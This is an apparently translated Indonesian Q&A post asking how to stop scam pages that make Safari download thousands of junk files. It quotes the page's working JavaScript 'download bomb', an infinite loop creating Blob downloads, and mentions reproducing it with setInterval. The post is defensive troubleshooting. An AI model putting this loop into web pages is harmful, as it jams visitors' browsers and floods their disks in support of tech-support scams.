Latar Belakang
Halaman spam baru telah mulai muncul di banyak situs yang "dipertanyakan" (situs film, dll.). Halaman spam baru ini cocok dengan kategori pemindaian palsu, MacKeeper, "ANDA MEMILIKI VIRUS", dll.
Masalah
Masalah dengan halaman baru ini adalah bahwa alih-alih hanya memiliki popup, halaman tersebut sebenarnya memulai pengunduhan file acak 2kb (tidak berbahaya hanya berisi teks acak) berulang kali setiap ~ 1ms. Folder unduhan terisi sebelum Anda dapat menutup jendela dan Anda dibiarkan menghapus lebih dari 1.000 file. Tidak seperti, masalah serupa di mana spam halaman memunculkan dialog cetak, sangat sedikit waktu untuk bereaksi.
Upaya Pemecahan Masalah Gagal
Saya mencoba mengunci folder unduhan. Meskipun mencegah unduhan dari ... well ... mengunduhnya, sebuah kotak dialog (lihat gambar) muncul. Biasanya, saya bisa mengabaikan kotak dialog ini, tetapi karena unduhan dicoba setiap ~ 1 ms, saya muncul dialog baru setiap kali saya mencoba mengabaikan, mencegah saya menutup jendela.
Berhenti paksa Safari, yang menghentikan unduhan (setelah unduhan 1k) tetapi kemudian saya kehilangan semua jendela saya yang lain
Mengubah pengaturan ke 'Minta setiap unduhan' di preferensi Safari. Tidak berfungsi karena 1k dari kotak dialog terpisah terbuka mencegah saya bahkan menutup tab. Safari akhirnya mogok.
Pertanyaan
Bagaimana saya bisa mencegah unduhan spam di Safari?
MEMPERBARUI:
Inilah kode yang menyebabkan unduhan (dapatkan dengan menonaktifkan JavaScript dan melihat melalui kode secara manual):
function download(g, h, j) {
var k = new Blob([g], {
type: j
});
if (window.navigator.msSaveOrOpenBlob) window.navigator.msSaveOrOpenBlob(k, h);
else {
var l = document.createElement("a"),
m = URL.createObjectURL(k);
l.href = m, l.download = h, l.click(), setTimeout(function() {}, 0)
}
}
function bomb_ch() {
var g = Math.random().toString(36).substring(20),
h = Math.floor(50 * Math.random() + 25);
while (true) download(h, g, g)
}
function ch_jam() {
bomb_ch()
}
Catatan: Saya mengalami beberapa masalah saat menjalankan JS pada halaman kustom. Membeku, bukan diunduh. Saya dapat meniru unduhan dengan menggunakan setInterval()
fungsi memanggil download
fungsi.
Info lebih lanjut: https://blog.malwarebytes.com/malwarebytes-news/2018/02/tech-support-scammers-find-new-way-jam-google-chrome/